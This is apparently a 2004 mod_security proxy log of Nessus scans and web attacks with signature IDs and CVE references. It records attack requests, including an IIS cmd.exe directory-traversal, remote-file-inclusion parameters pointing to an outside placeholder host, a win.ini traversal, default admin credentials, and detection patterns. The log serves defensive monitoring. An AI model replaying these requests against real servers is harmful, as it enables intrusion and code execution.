Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1869CVE-2001-0804
Nessus 10817
default-login-attemptWEB-CGI story.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:23 2004] "GET /cgi-bin/story.pl?next=about HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/story.pl] for 50000 ms
----------------------------------------
GET /cgi-bin/story.pl?next=about HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/story\.pl" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1870CVE-2000-0117
Nessus 10253
web-application-activityWEB-CGI siteUserMod.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:50 2004] "GET /.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.1" 404 315
Handler: (null)
Error: mod_security: Warning. Pattern match "/\.cobalt/siteUserMod/siteUserMod\.cgi" at THE_REQUEST.
----------------------------------------
GET /.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/\.cobalt/siteUserMod/siteUserMod\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1872Nessus 10848web-application-activityWEB-MISC Oracle Dynamic Monitoring Services (dms) access
Request: 217.160.165.173 - - [Fri Mar 12 22:32:09 2004] "GET /dms0/ HTTP/1.1" 403 289
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/dms0
----------------------------------------
GET /dms0/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=73
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1875Nessus 10780
Nessus 10779
web-application-activityWEB-CGI cgicso access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:16 2004] "GET /cgi-bin/cgicso?query=AAA HTTP/1.1" 403 298
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/cgicso
----------------------------------------
GET /cgi-bin/cgicso?query=AAA HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1877CVE-2000-0868
Nessus 10503
web-application-activityWEB-CGI printenv access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:14 2004] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 300
Handler: (null)
Error: mod_security: Warning. Pattern match "/printenv" at THE_REQUEST.
----------------------------------------
GET /cgi-bin-sdb/printenv HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/printenv" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1880Nessus 10348
BID1053
CVE-2000-0169
web-application-activityWEB-MISC oracle web application server access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:04 2004] "GET /ows-bin/perlidlc.bat HTTP/1.1" 404 300
Handler: (null)
Error: mod_security: Warning. Pattern match "/ows-bin/" at THE_REQUEST.
----------------------------------------
GET /ows-bin/perlidlc.bat HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/ows-bin/" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1945CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attempt
Request: 68.48.142.117 - - [Tue Mar  9 22:29:43 2004] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/scripts/..%5c../winnt/system32/cmd.exe] for 50000 ms
----------------------------------------
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "cmd\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1946web-application-activityWEB-MISC answerbook2 admin attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:06 2004] "POST /cgi-bin/admin/admin.cgi HTTP/1.1" 404 303
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/cgi-bin/admin/admin" at THE_REQUEST.
----------------------------------------
POST /cgi-bin/admin/admin.cgi HTTP/1.1
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
Host: www.testproxy.net:8000
mod_security-message: Warning. Pattern match "/cgi-bin/admin/admin" at THE_REQUEST.

login=1&user=Admin&password=ImageFolio&save=Login

HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1969BID6091web-application-activityWEB-MISC ion-p access
Request: 217.160.165.173 - - [Fri Mar 12 22:44:32 2004] "GET /cgi-bin/ion-p.exe?page=c:\\winnt\\win.ini HTTP/1.1" 404 297
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/ion-p" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/ion-p.exe?page=c:\\winnt\\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/ion-p" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1979Nessus 11158
BID5520
web-application-attackWEB-MISC perl post attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:30:36 2004] "POST /perl/ HTTP/1.1" 404 285
Handler: (null)
Error: File does not exist: /usr/local/apache/htdocs/perl/
----------------------------------------
POST /perl/ HTTP/1.1
Content-Length: 60
Content-Type: application/octet-stream
Host: www.testproxy.net
mod_security-message: Access denied with code 200. Pattern match "/perl/" at THE_REQUEST.

print("Content-Type: text/plain\r\n\r\n", "Nessus=", 42+42);

HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1994Nessus 11165web-application-activityWEB-CGI vpasswd.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:04 2004] "GET /cgi-bin/vpasswd.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/vpasswd.cgi
----------------------------------------
GET /cgi-bin/vpasswd.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1996CAN-2001-0849
Nessus 11107
web-application-activityWEB-CGI viralator.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:02 2004] "GET /cgi-bin/viralator.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/viralator.cgi
----------------------------------------
GET /cgi-bin/viralator.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2000Nessus 11073web-application-activityWEB-PHP readmsg.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:03 2004] "GET /base/webmail/readmsg.php HTTP/1.1" 404 304
Handler: (null)
Error: mod_security: Warning. Pattern match "/readmsg\.php" at THE_REQUEST.
----------------------------------------
GET /base/webmail/readmsg.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/readmsg\.php" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2001web-application-activityWEB-CGI smartsearch.cgi access
Request: 220.175.18.42 - - [Tue Mar  9 22:47:30 2004] "GET http://www.searchlikecrazy.com/cgi-bin/smartsearch.cgi?keywords=Web+Design%20&username=arongyi HTTP/1.0" 200 26166
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/smartsearch\.cgi" at THE_REQUEST.
----------------------------------------
GET http://www.searchlikecrazy.com/cgi-bin/smartsearch.cgi?keywords=Web+Design%20&username=arongyi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Encoding: deflate
Accept-Language: en
Host: www.searchlikecrazy.com
Proxy-Connection: Keep-Alive
Referer: http://www.yourwindow.com/searchlikecrazy.htm
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)
mod_security-message: Warning. Pattern match "/smartsearch\.cgi" at THE_REQUEST.

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
X-Cache: MISS from www.testproxy.net
Connection: close
2052CA-2002-35
Nessus 11190
web-application-activityWEB-CGI overflow.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:11 2004] "GET /cgi-bin/.cobalt/overflow/overflow.cgi HTTP/1.1" 404 317
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/overflow\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/.cobalt/overflow/overflow.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/overflow\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2056BID9561
Nessus 11213
whitehatsec
web-application-attackWEB-MISC TRACE attempt
Request: 66.36.242.145 - - [Tue Mar  9 23:49:16 2004] "GET http://www.above.net/cgi-bin/trace?203.199.64.132 HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: pausing [http://www.above.net/cgi-bin/trace?203.199.64.132] for 50000 ms
----------------------------------------
GET http://www.above.net/cgi-bin/trace?203.199.64.132 HTTP/1.1
Host: www.above.net
Proxy-Connection: Keep-Alive
mod_security-message: Access denied with code 200. Pattern match "TRACE" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2060Nessus 11180web-application-activityWEB-MISC DB4Web access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:28 2004] "GET /DB4Web/port-scan.de:23/foo HTTP/1.1" 404 306
Handler: (null)
Error: mod_security: Warning. Pattern match "/DB4Web/" at THE_REQUEST.
----------------------------------------
GET /DB4Web/port-scan.de:23/foo HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/DB4Web/" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2066web-application-attackWEB-MISC Lotus Notes .pl script source download attempt
Request: 220.175.18.42 - - [Tue Mar  9 22:47:19 2004] "GET http://www.stayinvisible.com/index.pl/ip_test_result_nocache HTTP/1.0" 200 8030
Handler: proxy-server
----------------------------------------
GET http://www.stayinvisible.com/index.pl/ip_test_result_nocache HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Encoding: deflate
Accept-Language: en
Host: www.stayinvisible.com
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)

HTTP/1.0 200 OK
Set-Cookie: wgSession=19wtMvmh2HVMM; path=/; expires=Sat, 08-Mar-2014 04:04:57 GMT
Content-Type: text/html; charset=ISO-8859-1
X-Cache: MISS from www.stayinvisible.com, MISS from www.testproxy.net
Connection: close
2067web-application-attackWEB-MISC Lotus Notes .exe script source download attempt
Request: 212.57.187.242 - - [Tue Mar  9 22:11:27 2004] "GET https://www.chel.mts.ru/sms/cgi-bin/cgi_.exe?function=sms_send HTTP/1.1" 200 23501
Handler: proxy-server
----------------------------------------
GET https://www.chel.mts.ru/sms/cgi-bin/cgi_.exe?function=sms_send HTTP/1.1
Connection: Keep-Alive
Host: www.chel.mts.ru
Keep-Alive: 300
Referer: http://www.ya.ru/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.03  [en]

HTTP/1.1 200 OK
Set-cookie: session_id=UNI_chl2_37c3726f76530a0fe;
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from www.testproxy.net
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
2078BID6634web-application-activityWEB-PHP phpBB privmsg.php access
Request: 217.136.209.143 - - [Fri Mar 12 07:29:20 2004] "GET http://boomslang.no-ip.com/forom/privmsg.php?folder=inbox&sid=e7e156cbecc071d9ab69211a33223abc HTTP/1.0" 302 0
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/privmsg\.php" at THE_REQUEST.
----------------------------------------
GET http://boomslang.no-ip.com/forom/privmsg.php?folder=inbox&sid=e7e156cbecc071d9ab69211a33223abc HTTP/1.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: fr,en;q=0.5
Cookie: BoOmTeAm[BoarD]_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; BoOmTeAm[BoarD]_sid=e7e156cbecc071d9ab69211a33223abc
Host: boomslang.no-ip.com
Keep-Alive: 300
Proxy-Connection: close
Referer: http://boomslang.no-ip.com/forom/login.php?redirect=privmsg.php&folder=inbox&sid=d53404759076e80271dab6863c792e04
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.5) Gecko/20031007 Firebird/0.7
mod_security-message: Warning. Pattern match "/privmsg\.php" at THE_REQUEST.

HTTP/1.0 302 Found
X-Powered-By: PHP/4.3.3
Set-Cookie: BoOmTeAm[BoarD]_data=a%3A0%3A%7B%7D; expires=Sat, 12-Mar-2005 12:29:29 GMT; path=/; domain=boomslang.no-ip.com
Set-Cookie: BoOmTeAm[BoarD]_sid=ae9204467a79b964054b22ead15c1dba; path=/; domain=boomslang.no-ip.com
Location: http://boomslang.no-ip.com/forom/login.php?redirect=privmsg.php&folder=inbox&sid=ae9204467a79b964054b22ead15c1dba
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
2085CAN-2003-0054web-application-activityWEB-CGI parse_xml.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:50 2004] "GET /AdminHTML/parse_xml.cgi HTTP/1.1" 404 303
Handler: (null)
Error: mod_security: Warning. Pattern match "/parse_xml\.cgi" at THE_REQUEST.
----------------------------------------
GET /AdminHTML/parse_xml.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/parse_xml\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2115BID7444web-application-activityWEB-CGI album.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:52 2004] "GET /cgi-bin/album.pl?function=about HTTP/1.1" 404 296
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/album\.pl" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/album.pl?function=about HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/album\.pl" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2127Nessus 11605
BID7361
web-application-activityWEB-CGI ikonboard.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:56 2004] "GET /cgi-bin/ikonboard.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ikonboard.cgi
----------------------------------------
GET /cgi-bin/ikonboard.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Cookie: lang=%2E%00%22
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2129ms03-018
Nessus 11664
web-application-activityWEB-IIS nsiislog.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:38 2004] "GET /scripts/nsiislog.dll HTTP/1.1" 404 300
Handler: (null)
Error: mod_security: Warning. Pattern match "/nsiislog\.dll" at THE_REQUEST.
----------------------------------------
GET /scripts/nsiislog.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/nsiislog\.dll" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2130BID7675
Nessus 11662
web-application-activityWEB-IIS IISProtect siteadmin.asp access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:38 2004] "GET /iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=nessus HTTP/1.1" 404 310
Handler: (null)
Error: mod_security: Warning. Pattern match "/iisprotect/admin/SiteAdmin\.asp" at THE_REQUEST.
----------------------------------------
GET /iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=nessus HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/iisprotect/admin/" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2133CAN-2003-0118
CAN-2003-0117
BID7470
BID7469
Nessus 11638
web-application-activityWEB-IIS MS BizTalk server access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:43 2004] "POST /manual/biztalkhttpreceive.dll HTTP/1.1" 403 313
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/manual/biztalkhttpreceive.dll
----------------------------------------
POST /manual/biztalkhttpreceive.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Content-Length: 6
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

[POST payload not available]

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2134Nessus 11621web-application-activityWEB-IIS register.asp access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:20 2004] "POST /forum/register.asp?mode=DoIt HTTP/1.1" 404 298
Handler: (null)
Error: mod_security: Warning. Pattern match "/register\.asp" at THE_REQUEST.
----------------------------------------
POST /forum/register.asp?mode=DoIt HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate,compress;q=0.9
Accept-Language: en-us,en;q=0.5
Content-Length: 167
Content-Type: application/x-www-form-urlencoded
Host: www.testproxy.net
Referer: http:/www.testproxy.net/forum/register.asp
User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.3)
mod_security-message: Warning. Pattern match "/register\.asp" at THE_REQUEST.

Refer=&Email=test%27example.org&Email2=&HideMail=0&ICQ=&YAHOO=&AIM=&Homepage=&Link1=&Link2=&Name=test&Password=test&Password-d=&Country=&Sig=&MEMBER_ID=&Submit1=Submit

HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2135Nessus 11682web-application-activityWEB-MISC philboard.mdb access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:12 2004] "GET /forum/database/philboard.mdb HTTP/1.1" 404 308
Handler: (null)
Error: mod_security: Warning. Pattern match "/philboard\.mdb" at THE_REQUEST.
----------------------------------------
GET /forum/database/philboard.mdb HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/philboard\.mdb" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2137BID7739
Nessus 11675
web-application-activityWEB-MISC philboard_admin.asp access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:14 2004] "GET /philboard/philboard_admin.asp HTTP/1.1" 404 309
Handler: (null)
Error: mod_security: Warning. Pattern match "/philboard_admin\.asp" at THE_REQUEST.
----------------------------------------
GET /philboard/philboard_admin.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/philboard_admin\.asp" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2138BID6996
Nessus 11639
web-application-activityWEB-MISC logicworks.ini access
Request: 217.160.165.173 - - [Fri Mar 12 22:36:47 2004] "GET /cgi-bin/logicworks.ini HTTP/1.1" 404 302
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/logicworks\.ini" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/logicworks.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/logicworks\.ini" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2140Nessus 11669web-application-activityWEB-PHP p-news.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:03 2004] "GET /news/p-news.php HTTP/1.1" 404 295
Handler: (null)
Error: mod_security: Warning. Pattern match "/p-news\.php" at THE_REQUEST.
----------------------------------------
GET /news/p-news.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/p-news\.php" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2143Nessus 11667web-application-attackWEB-PHP b2 cafelog gm-2-b2.php remote command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:43:46 2004] "GET /cgi-bin/b2-tools/gm-2-b2.php?b2inc=http://xxxxxxxx HTTP/1.1" 403 312
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/b2-tools
----------------------------------------
GET /cgi-bin/b2-tools/gm-2-b2.php?b2inc=http://xxxxxxxx HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2147BID7677
Nessus 11647
web-application-attackWEB-PHP BLNews objects.inc.php4 remote command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:45:31 2004] "GET /cgi-bin/admin/objects.inc.php4?Server[path]=http://xxxxxx&Server[language_file]=nessus.php HTTP/1.1" 403 314
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/admin
----------------------------------------
GET /cgi-bin/admin/objects.inc.php4?Server[path]=http://xxxxxx&Server[language_file]=nessus.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2149Nessus 11646web-application-activityWEB-PHP Turba status.php access
